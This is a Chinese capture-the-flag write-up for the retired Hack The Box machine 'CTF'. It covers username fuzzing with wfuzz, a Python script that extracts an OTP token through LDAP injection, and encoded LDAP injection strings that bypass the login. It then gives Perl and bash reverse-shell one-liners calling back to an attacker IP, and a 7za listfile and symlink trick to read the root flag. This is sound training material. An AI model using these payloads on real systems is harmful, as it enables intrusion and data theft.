HTB-靶机-CTF
本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关
靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.122
本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描
执行命令 autorecon 10.10.10.122 -o ./CTF-autorecon
就开了两个端口,我们直接访问80端口
根据上面提示本靶机不能暴力猜目录,所以我们不能使用dirb,gobuster之类的工具进行爆破,直接看登录界面,然后翻看网页源码
给出了提示是含有81位字符串的token和登录的密码是OTP,关于OTP的介绍参考:https://zh.wikipedia.org/zh-cn/%E4%B8%80%E6%AC%A1%E6%80%A7%E5%AF%86%E7%A2%BC
测试登录界面,随便输入一个账户和密码显示账户bmfx没有找到,经过漫长的测试,最终是如下模糊测试方法猜测出来了一个用户名
wfuzz -c -w /usr/share/seclists/Usernames/Honeypot-Captures/multiplesources-users-fabian-fingerle.de.txt --hs "not found" -d "inputUsername=FUZZ&inputOTP=9988" -u http://ctf.htb/login.php
确认存在用户名ldapuser
知道了用户名开始枚举出来81位字符串
#!/usr/bin/python3 import requests import sys YELLOW = "\033[93m" GREEN = "\033[32m" def send_payload(payload): post_data = {"inputUsername":payload,"inputOTP":"0000"} req = requests.post("http://10.10.10.122/login.php",data=post_data) response = req.text return response def check_response(response): if "Cannot login" in response: return True else: return False def exploit(): global token n_list = [n for n in range(10)] for i in n_list: payload = "%2A%29%28uid%3D%2A%29%29%28%7C%28pager%3D{}{}%2A".format(token,str(i)) response = send_payload(payload) if check_response(response): token+=str(i) token = "" print(YELLOW + "[*] Extracting Token") while len(token) != 81: exploit() sys.stdout.write("\r" + YELLOW + "[*] Status : " + token) sys.stdout.flush() else : print(GREEN + "\n[!] Done !") print(GREEN + "[*] Token : " + token)
得出token:285449490011357156531651545652335570713167411445727140604172141456711102716717000
这里涉及到ldap注入,具体可参考:https://xz.aliyun.com/t/5689
最终可以通过下面测试字符进行注入绕过目标靶机的登录限制进入后台执行命令,测试字符需要进行双URL编码
将ldapuser)))%00 进行URL编码为 ldapuser%29%29%29%00 使用此编码形式在浏览器登录可以绕过
将*)(uid=*))(|(uid=* 进行URL编码为 %2a%29%28uid%3d%2a%29%29%28%7c%28uid%3d%2a 使用此编码形式在浏览器登录可以绕过
上面是执行效果,成功话就会跳转到page.php页面,然后就可以执行命令了,具体如下
确认执行命令没有问题,开始反弹shell,这里由于目标靶机环境较为苛刻,我们使用本地监听443端口,使用perl反弹代码或者bash反弹代码都可以
反弹代码:
在浏览器登录窗口上执行反弹代码 perl -e 'use Socket;$i="10.10.14.6";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' bash -c 'bash -i >& /dev/tcp/10.10.14.6/443 0>&1'
拿到反弹shell之后翻看网站根目录信息,翻看到login.php存在敏感信息
使用此账户和密码登录目标靶机的ssh端口,发现登录成功了,翻看了当前目录和根目录发现根目录有个备份文件夹,进去看了下,发现如下
这里可以通过7za来读取root目录下root.txt 可以 通过man 7za查看到当打包备份的目录含有类似@listfile文件的时候7za会报错列出诊断信息, 此时的信息便是读取文件信息,所以我们可以尝试新建@类似的文件, 然后使用软连接的方式连接到想读取文件的位置即可,具体操作命令如下:
touch @bmfx ln -s /root/root.txt /var/www/html/uploads/bmfx tail -f error.log
这里操作需要通过反弹shell的环境操作,使用ldapuser的环境无法新建文件
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?
2015-12-24 mysql基础-新版5.7.10源码安装-记录(一)